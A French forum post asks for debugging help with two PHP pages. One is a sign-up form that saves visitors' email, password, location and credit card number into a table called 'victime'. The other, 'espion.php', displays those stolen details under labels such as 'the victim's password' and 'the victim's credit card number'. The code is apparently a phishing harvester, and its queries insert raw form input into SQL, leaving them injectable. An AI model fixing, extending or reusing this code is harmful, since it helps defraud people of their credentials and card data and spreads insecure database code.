Bonjour à vous tous
Bon j'ai un soucis que je n'arrive pas à comprendre d'ou ce se provoque
,Bon j'ai page inscription.php qui contient un formulaire d'inscription les données d'entrées seront ajouté à une table nommée victime qui contient les champs suivant(email,sexe,date_de_naissance,mot_de_passe,pays,ville,quantite,montant,cartecredit) puis y'a une autre page ou je récupère les donées et je les affiche sur cette page nommée espion.php
le problème c'est que lorsque j'accéde à cette page rien ne s'affiche alors que l'ajout se passe trés bien sur la table les voici les codes
inscription.php
pour espion.php
Code : Sélectionner tout - Visualiser dans une fenêtre à part
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18 <?php if(isset ($_POST['submit']) AND isset($_POST['email1'])) { $mail=$_POST['email1']; mysql_connect("localhost", "root", "");// avec les paramètres localhost mysql_select_db("espion")or die("cannot to select db");// avec les paramètres localhost $result = mysql_query("INSERT INTO `victime` (`email` ,`sexe` ,`date_naissance`,`mot_de_passe` ,`pays` ,`ville` ,`quantite` ,`montant`,`cartecredit` ) VALUES ( '".$_POST['email1']."','".$_POST['sexe']."', '".$_POST['part3']."-".$_POST['part2']."-".$_POST['part1']."', '".$_POST['password']."', '".$_POST['forumurl']."', '".$_POST['geo']."', '".$_POST['quantite']."', '".$_POST['montant']."','".$_POST['carte']."')") or die("error"); } ?> <form name="form" method="POST" action=""> <input name="email1" size="30" maxlength="50" class="input" value="" type="text"> <input name="sexe" value="m" checked="checked" type="radio"><b>Masculin <input name="sexe" value="f" type="radio"> <select name="part1">//jusqu'a la fin ...
l'idée est que lorsque l'utilisateur s'enregistre j'accéde à une autre page (espion.php) pour afficher les informations de l'utilisateur
Code : Sélectionner tout - Visualiser dans une fenêtre à part
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32 mysql_connect("localhost","root",""); mysql_select_db("espion")or die("can not selecte db"); if(isset($_POST['email1'])){ $req=mysql_query("SELECT email,sexe,date_naissance FROM victime WHERE email='".$_POST['email1']."'")or die("Erreur SQL : $query<br/>".mysql_error());; $repo=mysql_fetch_array($req); echo'<BR><FONT COLOR=green>L\'ADRESSE E-MAIL DE LA VICTIME: </FONT COLOR> '.$repo['email']; if($repo['sexe']=="m"){ echo ' <BR><FONT COLOR=RED>SEXE:</FONT> <b><font size=4> masculin </font>';} else{ echo ' <BR><FONT COLOR=RED>SEXE:</FONT> <b><font size=4> féminin </font>';} //echo'<BR><FONT COLOR=RED>LA DATE DE NAISSANCE DE LA VICTIME:</FONT COLOR> <b><font size=4>' .$_POST['part1'].'-'.$_POST['part2'].'-'.$_POST['part3'].'</font>'; //echo'<BR><FONT COLOR=blue>LE MOT DE PASSE DE LA VICTIME:</FONT COLOR> '.$_POST['password']; //echo'<BR><FONT COLOR=RED>LOCALISATION DE LA VICTIME:</FONT COLOR> '.$_POST['forumurl']; //echo'<BR><FONT COLOR=RED>LA VILLE OU SE TROUVE LA VICTIME:</FONT COLOR> '.$_POST['geo']; //echo'<BR><FONT COLOR=green>LE NUMERO DE CARTE DE CREDIT DE LA VICTIME : </FONT COLOR> '.$_POST['carte']; echo'<BR><FONT COLOR=green>LA DATE DE NAISSANCE DE LA VICTIME : </FONT COLOR> '.$repo['date_naissance']; echo'<BR><FONT COLOR=green>LE MOT DE PASSE DE LA VICTIME : </FONT COLOR> '.$repo['mot_de_passe']; echo'<BR><FONT COLOR=green>LE PAYS DE LA VICTIME : </FONT COLOR> '.$repo['pays']; echo'<BR><FONT COLOR=green>LA LOCALISATION DE LA VICTIME : </FONT COLOR> '.$repo['ville']; echo'<BR><FONT COLOR=green>LE NUMERO DE CARTE DE CREDIT DE LA VICTIME : </FONT COLOR> '.$repo['cartecredit'];} ?
Merci pour votre aide
Partager